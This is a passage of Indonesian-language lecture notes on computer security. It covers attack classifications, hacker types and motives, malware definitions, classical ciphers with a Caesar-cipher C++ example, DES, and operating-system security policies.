2 MASALAH KEAMANAN KOMPUTER “Information-based society”, menyebabkan nilai informasi menjadi sangat penting dan menuntut kemampuan untuk mengakses dan menyediakan informasi secara cepat dan akurat menjadi sangat esensial bagi sebuah organisasi. Infrastruktur Jaringan komputer, seperti LAN dan Internet, memungkinkan untuk menyediakan informasi secara cepat, sekaligus membuka potensi adanya lubang keamanan (security hole). Konsep Dasar Komunikasi : § Perkembangan Teknologi Informasi (TI) menyebabkan perubahan terhadap cara pandang manusia terhadap suatu informasi § Informasi merupakan isi (content) yang dibawa oleh proses komunikasi § Informasi harus terjamin kesahihan dan validitasnya Informasi: § Mengandung muatan-muatan data yang dijadikan sebagai the meaning of content dalam komunikasi § Kumpulan bit-bit data yang mempunyai makna tertentu, yang diolah dengan cara tertentu dan dikomunikasikan dengan cara tertentu (sudut pandang informatika) Informasi sebagai view of point: § Bagaimana informasi bisa diolah sehingga bisa dimanfaatkan secara optimal, misal ditemukan saat dibutuhkan § Bagaimana validitas dan kebenaran informasi bisa dijamin § Bagaimana informasi rahasia bisa diamankan Beberapa kejahatan komputer semakin meningkat disebabkan oleh pengaruh: § Aplikasi bisnis berbasis TI dan jaringan komputer meningkat : online banking, e-commerce, Electronic data Interchange (EDI). § Desentralisasi server. § Transisi dari single vendor ke multi vendor. § Meningkatnya kemampuan pemakai (user). § Kesulitan penegak hukum dan belum adanya ketentuan yang pasti. § Semakin kompleksnya sistem yang digunakan, semakin besarnya source code program yang digunakan. § Berhubungan dengan internet
2.1 KLASIFIKASI KEJAHATAN KOMPUTER Menurut David Icove [John D. Howard, “An Analysis Of Security Incidents On The Internet 1989 - 1995,” PhD thesis, Engineering and Public Policy, Carnegie Mellon University, 1997.] berdasarkan lubang keamanan, keamanan dapat diklasifikasikan menjadi empat, yaitu: 1.
2. 3. 4.
Keamanan yang bersifat fisik (physical security): termasuk akses orang ke gedung, peralatan, dan media yang digunakan. Contoh : § Wiretapping atau hal-hal yang ber-hubungan dengan akses ke kabel atau komputer yang digunakan juga dapat dimasukkan ke dalam kelas ini. § Denial of service, dilakukan misalnya dengan mematikan peralatan atau membanjiri saluran komunikasi dengan pesan-pesan (yang dapat berisi apa saja karena yang diutamakan adalah banyaknya jumlah pesan). § Syn Flood Attack, dimana sistem (host) yang dituju dibanjiri oleh permintaan sehingga dia menjadi terlalu sibuk dan bahkan dapat berakibat macetnya sistem (hang). Keamanan yang berhubungan dengan orang (personel), Contoh : § Identifikasi user (username dan password) § Profil resiko dari orang yang mempunyai akses (pemakai dan pengelola). Keamanan dari data dan media serta teknik komunikasi (communications). Keamanan dalam operasi: Adanya prosedur yang digunakan untuk mengatur dan mengelola sistem keamanan, dan juga ter-masuk prosedur setelah serangan (post attack recovery).
Halaman | 13
Karakteristik Penyusup : § The Curious (Si Ingin Tahu) - tipe penyusup ini pada dasarnya tertarik menemukan jenis sistem dan data yang anda miliki. § The Malicious (Si Perusak) - tipe penyusup ini berusaha untuk merusak sistem anda, atau merubah web page anda, atau sebaliknya membuat waktu dan uang anda kembali pulih. § The High-Profile Intruder (Si Profil Tinggi) - tipe penyusup ini berusaha menggunakan sistem anda untuk memperoleh popularitas dan ketenaran. Dia mungkin menggunakan sistem profil tinggi anda untuk mengiklankan kemampuannya. § The Competition (Si Pesaing) - tipe penyusup ini tertarik pada data yang anda miliki dalam sistem anda. Ia mungkin seseorang yang beranggapan bahwa anda memiliki sesuatu yang dapat menguntungkannya secara keuangan atau sebaliknya. Istilah bagi penyusup : § Mundane:; tahu mengenai hacking tapi tidak mengetahui metode dan prosesnya. § Lamer (script kiddies): mencoba script2 yang pernah di buat oleh aktivis hacking, tapi tidak paham bagaimana cara membuatnya. § Wannabe: paham sedikit metode hacking, dan sudah mulai berhasil menerobos sehingga berfalsafah “HACK IS MY RELIGION”. § Larva (newbie): hacker pemula, teknik hacking mulai dikuasai dengan baik, sering bereksperimen. § Hacker: aktivitas hacking sebagai profesi. § Wizard: hacker yang membuat komunitas pembelajaran di antara mereka. § Guru: master of the master hacker, lebih mengarah ke penciptaan tools-tools yang powerfull yang salah satunya dapat menunjang aktivitas hacking, namun lebih jadi tools pemrograman system yang umum.
2.2 ASPEK KEAMANAN KOMPUTER Menurut Garfinkel [Simson Garfinkel, “PGP: Pretty Good Privacy,” O’Reilly & Associ-ates, Inc., 1995. ] 1. Privacy / Confidentiality Definisi : menjaga informasi dari orang yang tidak berhak mengakses. Privacy : lebih kearah data-data yang sifatnya privat , Contoh : e-mail seorang pemakai (user) tidak boleh dibaca oleh administrator. Confidentiality: berhubungan dengan data yang diberikan ke pihak lain untuk keperluan tertentu dan hanya diperbolehkan untuk keperluan tertentu tersebut. Contoh : data-data yang sifatnya pribadi (seperti nama, tempat tanggal lahir, social security number, agama, status perkawinan, penyakit yang pernah diderita, nomor kartu kredit, dan sebagainya) harus dapat diproteksi dalam penggunaan dan penyebarannya. Bentuk Serangan : usaha penyadapan (dengan program sniffer). Usaha-usaha yang dapat dilakukan untuk meningkatkan privacy dan confidentiality adalah dengan menggunakan teknologi kriptografi. 2.
Integrity Definisi : informasi tidak boleh diubah tanpa seijin pemilik informasi. Contoh : e-mail di intercept di tengah jalan, diubah isinya, kemudian diteruskan ke alamat yang dituju. Bentuk serangan : Adanya virus, trojan horse, atau pemakai lain yang mengubah informasi tanpa ijin, “man in the middle attack” dimana seseorang menempatkan diri di tengah pembicaraan dan menyamar sebagai orang lain.
3.
Authentication Definisi : metoda untuk menyatakan bahwa informasi betul-betul asli, atau orang yang mengakses atau memberikan informasi adalah betul-betul orang yang dimaksud. Dukungan : § Adanya Tools membuktikan keaslian dokumen, dapat dilakukan dengan teknologi watermarking (untuk menjaga “intellectual property”, yaitu dengan menandai dokumen atau hasil karya dengan “tanda tangan” pembuat ) dan digital signature. § Access control, yaitu berkaitan dengan pembatasan orang yang dapat mengakses informasi. User harus menggunakan password, biometric (ciri-ciri khas orang), dan sejenisnya.
4.
Availability Definisi : berhubungan dengan ketersediaan informasi ketika dibutuhkan. Contoh hambatan : Halaman | 14
§ §
“denial of service attack” (DoS attack), dimana server dikirimi permintaan (biasanya palsu) yang bertubi-tubi atau permintaan yang diluar perkiraan sehingga tidak dapat melayani permintaan lain atau bahkan sampai down, hang, crash. mailbomb, dimana seorang pemakai dikirimi e-mail bertubi-tubi (katakan ribuan e-mail) dengan ukuran yang besar sehingga sang pemakai tidak dapat membuka e-mailnya atau kesulitan mengakses e-mailnya.
5. Access Control Definisi : cara pengaturan akses kepada informasi. berhubungan dengan masalah authentication dan juga privacy Metode : menggunakan kombinasi userid/password atau dengan menggunakan mekanisme lain. 6. Non-repudiation Definisi : Aspek ini menjaga agar seseorang tidak dapat menyangkal telah melakukan sebuah transaksi. Dukungan bagi electronic commerce.
2.3 SECURITY ATTACK MODELS Vulnerability merupakan kelemahan dalam system keamanan, contoh dalam prosedur, rancangan, atau implementasi yang dapat di-eksploitasi untuk menyebabkan kehilangan dan bahaya. Sebuah threat dalam sistem komputer merupakan suatu kumpulan keadaan yang berpotensi menimbulkan kehilangan atau bahaya. Beberapa jenis threat dalam system keamanan terdapat empat jenis, yaitu:
Gambar 2.1 Threat sistem keamanan Menurut W. Stallings [William Stallings, “Network and Internetwork Security,” Prentice Hall, 1995.] serangan (attack) terdiri dari : Interruption: Perangkat sistem menjadi rusak atau tidak tersedia. Serangan ditujukan kepada ketersediaan (availability) dari sistem. Contoh serangan adalah “denial of service attack”. Interception: Pihak yang tidak berwenang berhasil mengakses asset atau informasi. Contoh dari serangan ini adalah penyadapan (wiretapping). Modification: Pihak yang tidak berwenang tidak saja berhasil mengakses, akan tetapi dapat juga mengubah (tamper) aset. Contoh dari serangan ini antara lain adalah mengubah isi dari web site dengan pesan-pesan yang merugikan pemilik web site. Fabrication: Pihak yang tidak berwenang menyisipkan objek palsu ke dalam sistem. Contoh dari serangan jenis ini adalah memasukkan pesan-pesan palsu seperti e-mail palsu ke dalam jaringan komputer. Penyerang umumnya memiliki tiga hal yaitu: • Metode: keahlian, pengetahuan, alat dan sesuatu yang membantunya dalam penyerangan • Kesempatan: waktu dan akses untuk menyelesaikan penyerangan • Motif: Alasan untuk melakukan penyerangan ke system yang dituju. Halaman | 15
3 HACKER Hacker merupakan orang yang secara total mendalami tenknologi dan pemrograman komputer , seseorang yang menyukai dan meneliti cara kerja suatu kode program dari system operasi atau program lainnya. Cracker adalah orang yang menaklukan ukuran suatu keamanan dari jaringan atau system computer untuk memperoleh akses kekuasaan yang tidak sah (unauthorized). Phreak adalah orang yang memecahkan keamanan suatu jaringan telepon atau system telekomunikasi lainnya. Cyberpunk dapat diistilahkan kombinasi karakteristik dari hacker, cracker dan phreak. Para hacker beberapa criteria, diantaranya: § Menguasi bahasa pemrograman, seperti C, C++, CGI, atau bahasa pemrograman lainnya § Mengetahui tentang TCP/IP, protocol jaringan di internet § Pengguna internet yang berat, biasanya lebih dari 50 jam per minggu § Familiar dengan sistem operasi seperti UNIX, Windows § Seorang professional computer.
3.1 KLASIFIKASI TINGKATAN AHLI Beberapa klasifikasi tingkatan ahli dari hacker adalah sebagai berikut: Script kiddy Dedicated hacker
Skilled hacker Superhacker
Seseorang mempunyai sedikit tingkat keahlian dan menggunakan skrip program yang telah ditulis oleh orang lain yang juga untuk mengeksploitasi system yang mudah diserang dan sudah diketahui sebelumnya. Hacker yang terdedikasi selalu melakukan penelitian tentang audit dan tool-tool keamanan yang dapat digunakannya untuk mengetahui luar dalamnya system. Mereka dapat juga memodifikasi kode-kode program yang dibutuhkan dalam penyerangan ke suatu system. Hacker terlatih lebih memahami system yang akan diserangnya, mereka juga mengetahui luar dalam dan memahami konsep serta rinciannya. Superhacker merupakan hacker yang tidak menyombongkan diri dan sering tidak menempatkan informasinya di papan bulletin. Dia mengawasi apa yang dilakukan orang lain dan menyerap informasi tentang hal-hal yang baru dan berbeda untuk membahayakan system.
3.2 MOTIFASI Bermacam-macam motifasi hacker tergantung dari dirinya sendiri. Banyak hacker dimulai dari usia anak-anak hingga remaja. Beberapa motifasi tersebut adalah: a.
b. c. d. e. f.
Motifasi intelektual diantaranya adalah: • Eksperimen pendidikan • Kesenangan yang tidak berbahaya • Sebagai orang panggilan untuk memperbaiki system Motifasi pribadi diantaranya adalah: • Pegawai yang merasa tidak puas • Cyber-stalking (memberikan pesan yang mengusik atau mengancam melalui email) Motifasi sosial contohnya adalah aktifis Cyber Motifasi Politik diantaranya: • Teroris cyber • Perang cyber Motifasi Keuangan antara lain adalah: • Kebutuhan uang (pendapatan pribadi) • Membangkrutkan suatu organisasi Motifasi oleh egois diri sendiri.
Halaman | 16
3.3 BAGAIMANA HACKER MELAKUKAN PEKERJAANNYA? Beberapa cara yang dilakukan hacker dalam penyerangannya ke suatu system diantaranya adalah: a. Malicous Code (kode-kode berbahaya) • Logic Bomb adalah program yang berpura-pura tidak aktif sampai diaktifkan oleh sesuatu yang system computer dapat mendeteksinya. Biasanya dengan basis waktu, atau kehadiran dan ketidak hadiran suatu data, seperti ketika suatu nama tertentu tidak dalam file, maka trigger (pemicu) dari laogi bomb ini akan melakukan sesuatu terhadap system misalnya menghapus, atau merusak data dalam system. • Parasite merupakan potongan program yang ditambahkan ke dalam program lain dan menggambarkan informasi dari program original-nya. Tujuannya adalah untuk mendapatkan informasi dimana hacker tidak diperbolehkan mengetahuinya. • Trojan Horse adalah program yang kelihatannya berguna namun di dalamnya terdapat prosedurprosedur yang berbahaya seperti pengambilan informasi yang diinginkan oleh hacker dari suatu system. Biasanya program ini dibuat sedemikian rupa sehingga orang lain dapat menjalankan program itu dengan sendiri ke system yang dituju, misalnya dalam bentuk program game atau aplikasi berguna lainnya. • Virus adalah program yang menginfeksi program lainnya dengan mereplikasi dirinya sendiri menjadi program host. Virus mempunyai tiga fase, fase pertama adalah menginfeksi dari virus yang ada sebelumnya, kemudian fase aktifasi dimana salinan baru ini adalah dipicu untuk mencari host lain yang aka diinfeksi, terakhir fase replikasi, dimana virus mencari host yang cocok dan menyalin dirinya ke host tersebut. • Worm merupakan program yang digunakan sebagai mekanisme pengiriman untuk program lain, dengan menggunakan jaringan untuk menyebarkan program dari satu system ke system lainnya. b. Kode program yang dimodifikasi • Dinamically Loadable Modules • Software Developers c. Eksploitasi protocol jaringan • E-mail spoofing, mengetahui header informasi pada mail sehingga hacker dapat mengubah informasi tersebut • IP spoofing adalah mengirim paket dengan alamat sumber dari alamat aktualnya host original-nya. • System flooding adalah proses mengkonsumsi sumber daya suatu system sampai membuat system tersebut tidak dapat melakukan pekerjaannya lagi. • Mass-mailings d. Eksploitasi system yang lemah • Scanner and profilers • Sniffers and snoopers • Security tools • Buffer overflows • File permissions e. Crack password
Halaman | 17
4 CRYPTOGRAPHY Cryptography: Penulisan yang disembunyikan Cryptanalyst: seseorang yang mempelajari enkripsi dan pesan yang terenkripsi yang berharap dapat memahami arti dari pesan yang disembunyikan tersebut Cryptology: penelitian dan pembelajaran tentang enkripsi dan dekripsi, termasuk Cryptography dan Cryptanalyst Plaintext: Pesan yang dapat dipahami oleh manusia sebagai informasi Ciphertext: Informasi yang disembunyikan dengan pesan yang sulit dipahami oleh manusia Enchiperment: proses yang digunakan untuk mengubah plaintext menjadi Chipertext Dechiperment: proses untuk mengubah dari Chipertext menjadi Plaintext kembali Key K Plaintext x Enchiperment E
Ciphertext y
Gambar 4.1Proses enchiperment yang menghasilkan ciphertext (y) dengan menambahkan algoritma enchiperment (E) yang dikendalikan oleh kunci K (K) terhadap plaintext (x)
Key K Plaintext x Denchiperment D
Ciphertext y
Gambar 4.2 Proses enchiperment yang menghasilkan plaintext (x) dengan menambahkan algoritma denchiperment (D) yang dikendalikan oleh kunci K (K) terhadap ciphertext (x) Tipe-tipe Chiper: Substitution: tiap karakter plaintext digantikan dengan karakter chipertext menggunakan algoritma yang dioperasikan selama plaintext dalam rangkaian dimana karakter tersebut tampil. Transposition: setiap karakter dalam plaintext diposisikan pada lokasi yang berbeda
Gambar 4.3 Hirarki cryptology Unconditionally secure ciphers: sebuah cipher dikatakan keamanan yang tidak terkondisi bila plaintext secara statistik tidak tergantung pada ciphertext. Conditionally secure ciphers: skema enkripsi dikatakan computataionally secure bila sejumlah usaha komputasional untuk melindungi system, walaupun dalam serangan terbaik. Symmetric-key ciphers: skema symmetric-key menggunakan satu kunci untuk encryption dan decryption. Halaman | 18
Public-key (Asymmetric) ciphers: skema ini mengunakan dua kunci, satu untuk encryption dan yang lainnya untuk decryption. One-way ciphers: skema ini hanya melakukan encryption tanpa melakukan decryption.
Gambar 4.4 Skema Symmetric dan Asymmetric Cryptosystem Beberapa hal yang dilakukan Cryptanalyst adalah sebagai berikut: § Memecahkan pesan tunggal § Mengenali pola pesan-pesan terenkripsi, untuk dapat memecahkan salah satu berikutnya dengan menerapkan algoritma straightforward decryption § Menduga arti tanpa memecahkan enkripsi § Menarik kesimpulan kunci, untuk memecahkan pesan berikutnya dengan mudah § Mencari kelemahan dalam implementasi atau lingkungan penggunaan enkripsi § Mencari kelemahan umum dalam algoritma enkripsi tanpa memerlukan penahahanan beberapa pesan.
4.1 MONOALPHABETIC SUBSTITUTION Tiap karakter tunggal dalam alphabet chipertext menggantikan huruf dan karakter plaintext dalam pesan. Ada dua tipe alphabet dasar dalam mengembangkan sistem monoalphabetic uniliteral substitution yaitu alphabet plaintext dan ciphertext. Salah satunya adalah menggunakan teknik Caesar Cipher. Hubungan antara posisi numerik karakter ciphertext (C) dan karakter plaintext (P) dapat diekspresikan sebagai berikut C = ( P + 5) mod 26 . Program Cipher1: #include
#include using namespace std; void Check(char &); void FindKey(char, const char[],int &); void FormCipher(const char[],char[],int); void Print(const char[],const char[]); int main(){ char PLAINTEXT[26] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'}; char CIPHERTEXT[26], key; int key_location; cout << "Masukan Alphabet huruf besar: ";
Halaman | 19
cin >> key; Check(key); FindKey(key, PLAINTEXT, key_location); FormCipher(PLAINTEXT, CIPHERTEXT, key_location); Print(PLAINTEXT, CIPHERTEXT); system("PAUSE"); return EXIT_SUCCESS; } void Check(char &key){ int key_value; bool error=false; do{ key_value=static_cast(key); if((key_value<65)||(key_value>90)) { cerr<<"\nMohon masukan alphabet kapital besar (A-Z):"; cin>>key; }else{ error=true; } }while(!(error)); key=static_cast(key_value); cout<<"\nKey: "<
Halaman | 20
4.2 TRANSPOSITIONS (PERMUTATIONS) Transpositions adalah enkripsi dimana tiap karakter dalam pesan diatur ulang posisinya. Columnar Transpositions merupakan bentuk pengaturan ulang karakter menjadi bentuk kolom, misalnya dalam tiap baris karakter terdiri dari lima kolom.
Gambar 4.5 Columnar Transposition Misalnya sebuah pesan AKU CINTA KEPADAMU Atur pesan tersebut menjadi lima karakter tiap baris dengan menghilangkan karakter spasi, jika terdapat sisa karakter yang tidak mengisi seluruh kolom, maka untuk mengisinya gunakan karakter lain misalnya X: A N P U
K T A X
U A D X
C K A X
I E M X
Maka pesan cipher yang didapat adalah: ANPUK TAXUA DXCKA XIEMX Latihan: Pecahkan kode rahasia di bawah ini dengan menggunakan permutasi transposisi lima kolom: TAPGA BDKND AOITN AAEKE ANUEA GIHNN UGLNM URAGR KLKBP BGAAA TUDTN KAAIE AOEIT HMIII IGUNT ARWHR NEMNX
Karakteristik Algoritma Enkripsi yang baik menurut Claude Shannon (1949): § Sejumlah rahasia yang dibutuhkan harus menentukan sejumlah tenaga kerja yang tepat untuk enkripsi dan dekripsi § Kumpulan kunci dan algoritma enkripsi seharusnya bebas dari kompleksitas § Implementasi dari proses seharusnya sederhana mungkin § Kesalahan dalam enkripsi seharusnya tidak diperbanyak dan menyebabkan perubahan informasi dalam pesan § Ukuran teks terenkripsi seharusnya tidak lebih besar dari teks aslinya. Properti-properti dari sistem enkripsi “Trustworthy” (terpercaya) adalah: § Berdasarkan matematika. Algoritma cryptographic yang baik tidak hanya ditemukan saja, namun diturunkan dari prinsip-prinsip yang solid § Telah dianalisis oleh pakar-pakar yang cakap § Telah diuji coba Tiga algoritma enkripsi yang populer dalam dunia komersial adalah DES (data encryption standard), RSA (RivestShamirAdelman), dan AES(advanced encryption standard).
4.3 SISTEM ENKRIPSI SYMMETRIC DAN ASYMMETRIC Symmetric: § Memiliki satu kunci (disebut kunci rahasia) yang digunakan untuk proses enkripsi dan dekripsi § Menyediakan “two-way channel” untuk pengguna-penggunanya (saling berbagi kunci antar pengguna) § Menyediakan bukti authentication (keaslian) bahwa pesan yang diterima tidak dibuat oleh seorang yang bukan pengirimnya. § Properti sistem ini membutuhkan pendistribusian kunci. Halaman | 21
Asymmetric: § Disebut juga sebagai kunci publik (public key) yang memiliki dua jenis kunci yaitu public key untuk proses enkripsi dan private key untuk proses dekripsi § Memiliki manajemen kunci yang dapat menyimpan, melindungi dan mengaktifasi kunci-kunci.
4.4 CIPHER STREAM DAN BLOK Stream: § Mengubah sebuah simbol dari plaintext secara langsung menjadi symbol ciphertext § Ketergantungan transformasi hanya dalam simbol, kunci dan informasi control dari algoritma enkripsi. § Beberapa kesalahan misalnya pelewatana karakter dalam dalam proses enkripsi, mempengaruhi enkripsi semua karakter-karakter berikutnya, namun kesalahan tersebut dapat dideteksi dan diperbaiki.
Gambar 4.6 Diagram enkripsi stream Blok: § §
Cipher blok mengelompokkan symbol-simbol plaintext menjadi satu blok. Bekerja pada blok-blok plaintext dan menhasilkan blok-blok ciphertext
Gambar 4.7 Diagram enkripsi blok Perbandingan antara algoritma stream dan blok: Algoritma enkripsi stream Keuntungan Kecepatan tranformasi Perambatan kesalahan yang rendah Kelemahan Penyebaran yang rendah Dapat terjadi penyisipan symbol berbahaya dan modifikasi
Algoritma enkripsi blok Penyebaran yang tinggi (high diffusion) Kekebalan terhadap penyisipan suatu symbol Penenkripsian yang lambat Perambatan kesalahan
Karakteristik-karakteristik Algoritma enkripsi: Confusion (membingungkan): sulit untuk memprediksi apa yang akan terjadi pada ciphertext dengan mengubah satu karakter dalam plaintext Prinsip diffusion (menyebarkan): cipher seharusnya juga menyebarkan informasi dari plaintext di atas seluruh ciphertext sehingga perubahan dalam plaintext mempengaruhi banyak bagian dari ciphertext.
Halaman | 22
4.5 DES (DATA ENCRYPTION STANDARD) Data encryption algorithm dikembangkan oleh IBM untuk U.S. National Bureau od Standards (NBS) berdasarkan algoritma Lucifer yang dibuat pada tahun 1974. Data Encryption Standard pada awalnya bernama DEA (Data Encryption Algorithm) di USA dan DEA-1 di negara lain. DES diadopsi oleh U.S. Federal standard pada bulan Novmeber 1976. Overview DES: • Kombinasi kompleks enkripsi blok dasar substitution dan transposition • Memiliki pengulangan sebanyak 16 putaran • Algoritma dimulai dari blok plaintext sebanyak 16-bit • Key panjangnya 64-bit, tetapi faktanya hanya 56-bit (8-bit tambahan sering digunakan sebagai pemeriksaan digit dan tidak mempengaruhi enkripsi dalam implementasi normal) • Pengguna dapat mengubah key setiap waktu Rincian Algoritma DES: Masukan plaintext dibagi menjadi blok-blok yang berukuran 64-bit yang kemudian dipermutasi (initial permutation) Bit data ditransformasikan oleh 64-bit key (tetapi hanya 56-bit yang digunakan). Key dikurangi dari 64-bit menjadi 56-bit dengan menghilangkan bit 8, 16, 24, …64. Bit-bit tersebut diasumsikan sebagai bit paritas yang tidak membawa informasi dalam key. Berikutnya rangkaian operasi dikenal sebagai cycle. 64 data bit yang dipermutasi dipecah menjadi dua bagian (32-bit) bagian kiri (left) dan kanan (right). Key digeser kekiri (shift left) dengan sejumlah bit dan dipermutasi. Key dikombinasikan
Halaman | 23
Gambar 4.8 Diagram DES
Halaman | 24
5 KEAMANAN SISTEM OPERASI Tujuan Sistem Operasi: mengontrol akses share dan mengimplementasikan interface untuk membeolehkan akses tersebut. Selain tujuan itu adalah dukungan aktifitas-aktifitas seperti identifikasi dan authentication, naming, penyimpanan objek, penjadwalan, komunikasi antar proses, dan reclaiming serta reusing suatu objek. Fungsi-fungsi sistem operasi dikategorikan menjadi: • Kontrol akses • Manajemen identitas dan kepercayaan (credential) • Alir informasi • Perlindungan audit dan integritas
5.1 OBJEK-OBJEK TERPROTEKSI DAN METODE PROTEKSI Beberapa aspek-aspek system computer yang membutuhkan perlindungan: • Memory • Peralatan I/O yang dapat dibagi pakai misalnya disk • Peralatan I/O serial misalnya printer dan drive tape • Program yang dapat dibagai pakai dan subprosedur • Jaringan • Data yang dapat dibagi pakai (share)
5.2 METODE KEAMANAN SYSTEM OPERASI Separation (pemisahan): menjaga objek-objek suatu user dipisahkan dengan yang lainnya. Pemisahaan ini dapat dilakukan dengan berbagai cara yaitu: • Pemisahan fisik: ketika perbedaan proses menggunakan objek fisik berbeda misalnya pemisahan printer dengan tingkatan keamanan yang berbeda • Pemisahan sementara: ketika proses mempunyai kebutuhan keamanan yang berbeda adalah dieksekusi pada waktu yang berbeda • Pemisahan logical: ketika user-user beroperasi dibawah ilusi bahwa tidak ada proses lain yang ada ketika system operasi membatasi akses program sehingga program tersebut tidak dapat mengakses objek di luar daerah yang diijinkan. • Pemisahan cryptographic: ketika proses menyembunyikan datanya dan menghitungnya sehingga data tersebut tidak mudah dipahami untuk di luar proses. Sistem operasi menawarkan perlindungan dengan beberapa tingkatan yaitu: 1. Tidak dilindungi 2. Isolasi 3. Berbagai pakai semua atau tidak sama sekali 4. Berbagai pakai melalui akses terbatas 5. Berbagi pakai oleh kemampuan 6. Batasan penggunaan suatu objek
5.3 KONTROL AKSES OBJEK-OBJEK UMUM Beberapa contoh jenis objek yang membutuhkan perlindungan: • Memory • File atau kumpulan data pada penyimpan • Program yang dieksekusi dalam memori • Direktori file • Perangkat keras • Struktur data, contoh nya stack • Tabel sistem operasi • Instruksi, khususnya instruksi yang mempunyai hak istimewa • Mekanisme password dan authentication user • Mekanisme perlindungan itu sendiri Halaman | 25
Kriteria-kriteria pemilihan password yang baik: • Gunakan karakter selain hany A-Z • Pilih password yang panjang • Kombinasikan password antara angka dan huruf yang dapat dipahami oleh kita sendiri • Ubah password secara berkala • Jangan menulisnya di sesuatu yang mudah dilihat orang • Jangan memberitahukan kepada siapapun
5.4 MERANCANG KEAMANAN SISTEM OPERASI System operasi dapat dikatakan terpercaya (trusted) jika menyediakan empat pelayanan yang konsisten dan efektif. Empat pelayanan tersebut adalah: 1. 2. 3. 4.
Kebijakan (policy) Model keamanan Rancangan (design) kepercayaan (trust)
Software yang terpercaya jika diketahui kodenya telah dikembangkan dan dianalisis, serta melakukan apa yang semestinya dilakukan software tersebut. Untuk mempercayai suatu program, terdapat beberapa kunci karakteristik, yaitu: § § § §
Functional Correctness (fungsi yang bekerja dengan benar): program melakukan yang didukungnya dan bekerja dengan benar. Enforcement of integrity (pelaksanaan integritas): Walau jika terdapat perintah yang salah dari user yang tidak diketahui, program mampu memelihara kebenaran data dengan kontak yang dimilikinya. Limited privilege (hak terbatas): Program membolehkan akses keamanan data, tetapi akses diminimalkan dan juga hak akses data, maupun data dilewatkan terus ke program yang tidak terpercaya atau dibalikan kembali ke pemaggil yang tidak terpercaya. Appropriate confidence level (tingkatan kerahasiaan yang tepat): Program telag diperiksa dan dinilai derajat kepercayaan yang tepat untuk jenis data dan lingkungan dimana akan digunakan.
Program terpercaya digunakan untuk melakukan pembatasan (pengamanan) operasi bagi user tanpa membolehkan user tersebut mempunyai akses langsung ke data yang sensitif. Kualitas dari keamanan dan terpercaya: Aman Either-or: Sesuatu dari salah satunya atau hal tersebut tidak aman Property dari penyajian Dinyatakan berdasarkan pada karakteristik produk Absolute: tidak dikualifikasi sebagaimana digunakan, dimana kapan atau oleh siapa tujuan
Terpercaya Graded: Derajat kepercayaan Property dari penerima Dinyatakan berdasarkan pada fakta dan analisis Relative: dipandang dari konteks penggunaan karakteristik
5.5 KEBIJAKAN PERLINDUNGAN (KEAMANAN) Security policy merupakan pernyataan dari keamanan atau perlindungan yang kita harapkan sistem menjalankannya.
5.5.1 KEBIJAKAN PERLINDUNGAN MILITER Kebijakan perlindungan (keamanan) militer didasari pada perlindungan informasi yang diklasifikasi. Setiap bagian informasi diatur pada tingkat sensitif yang diperlukan seperti: § unclassified (tak terklasifikasi) § restricted (dibatasi) § confidential (bersifat rahasia) § secret (rahasia) § top secret (sangat rahasia) Halaman | 26
Informasi yang diberikan pada setiap tingkatan lebih sensitive daripada informasi pada tingkatan di bawahnya dan sebaliknya kurang sensitif jika dibandingkan dengan tingkatan di atasnya.
Gambar 5.1 hirarki sensitifitas klasifikasi Pengaksesan informasi dibatasi dengan aturan need-to-know: akses ke data yang sensitive diijinkan hanya untuk subyek yang memerlukan untuk mengetahui datanya agar pekerjaannya dapat dilaksanakan. Tiap bagian informasi yang diklasifikasi dapat diasosiasikan dengan salah satu atau lebih proyek, disebut compartments (pembagian) yang menggambarkan bahan subyek dari informasi. Misalnya proyek alpha yang menggunakan informasi rahasia begitu juga dengan proyek beta, namun staff dalam alpha tidak memerlukan akses informasi di beta. Dengan kata lain kedua proyek memerlukan informasi rahasia, tetapi setiap proyek tersebut dibatasi pada kebutuhan informasi yang diperlukan oleh proyek yang bersangkutan.
Gambar 5.2 Asosiasi antara informasi dan compartment Kombinasi disebut dengan kelas atau klasifikasi potongan informasi. Clearance adalah indikasi bahwa seseorang dipercaya untuk mengakses informasi pada tingkatan sensitif yang pasti dan orang tersebut perlu mengetahui kategori yang pasti dari informasi sensitif. Clearance dari subyek di ekpresikan sebagai kombinasi . Relasi ≤ disebut dominance (dominasi), pada himpunan dari objek dan subjek sensitive . untuk subjek s dan objek o, s ≤ o jika dan hanya jika
ranks ≤ ranko dan compartmentss ⊆ compartmentso O mendominasi s (atau s didominiasi oleh o) jika s ≤ o . Dominasi digunakan untuk membatasi sensitifitas dan isi informasi yang dapat diakses subjek. Subjek dapat membaca objek hanya jika: § Tingkatan clearance subjek kurang atau sama tingginya dari informasi Halaman | 27
§
Subjek perlu mengetahui tentang semua compartments untuk dimanan informasi diklasifikasikan.
5.5.2 KEBIJAKAN PERLINDUNGAN KOMERSIAL Kebijakan ini memiliki tiga tingkatan sensitifitas, yaitu: 1. Public : Kurang sensitive dibandingkan proprietary 2. Proprietary (kepemilikan) : Kurang sensitive dibandingkan internal 3. Internal : lebih bersifat privacy
5.5.3 KEBIJAKAN PERLINDUNGAN TEMBOK CHINA Tiga tingkat abstraksi kebijakan yang dibangun adalah: 1. Objek. Pada tingkatan terendah adalah objek dasar seperti file. Setiap file berisi informasi hanya mengenai saru perusahaan 2. Group perusahaan. Pada tingkat berikutnya, semua objek mengenai perusahaan yang dikelompokkan bersama 3. Kelas-kelas konflik. Pada level teratas, semau group objek untuk perusahaan yang berkomptesi di kelompokkan (cluster)
Halaman | 28
6 MALICIOUS SOFTWARE (PROGRAM-PROGRAM BERBAHAYA) Jenis-jenis malicious code (program berbahaya) adalah sebagai berikut: Virus merupakan program yang mampu untuk membuat replikasi (tiruan) dirinya sendiri dan menyisipkan kode berbahayanya ke dalam program lain yang dimodifikasinya, virus dapat berdiam diri (transient) di dalam host selama host tersebut masih aktif serta dapat melokasikan dirinya di dalam memori (resident). Trojan horse adalah program yang kelihatannya berguna, namun sebenarnya merupakan program yang biasanya digunakan untuk mengintai sistem target. Logic bomb melakukan aksinya ketika suatu kondisi terpenuhi. Time bomb merupakan logic bomb yang pemicunya menggunakan waktu atau tanggal. Trapdoor atau backdoor merupakan fitur dalam program yang digunakan oleh seseorang untuk dapat mengakses program lain dengan jelas, panggilan langsung, atau dengan hak istimewa khusus. Worm adalah program yang mampu menyebarkan salinannya melalui jaringan. Rabbit adalah jenis virus atau worm yang me-replikasi dirinya tidak terbatas dengan maksud menghabiskan sumber daya computer yang diserangnya.
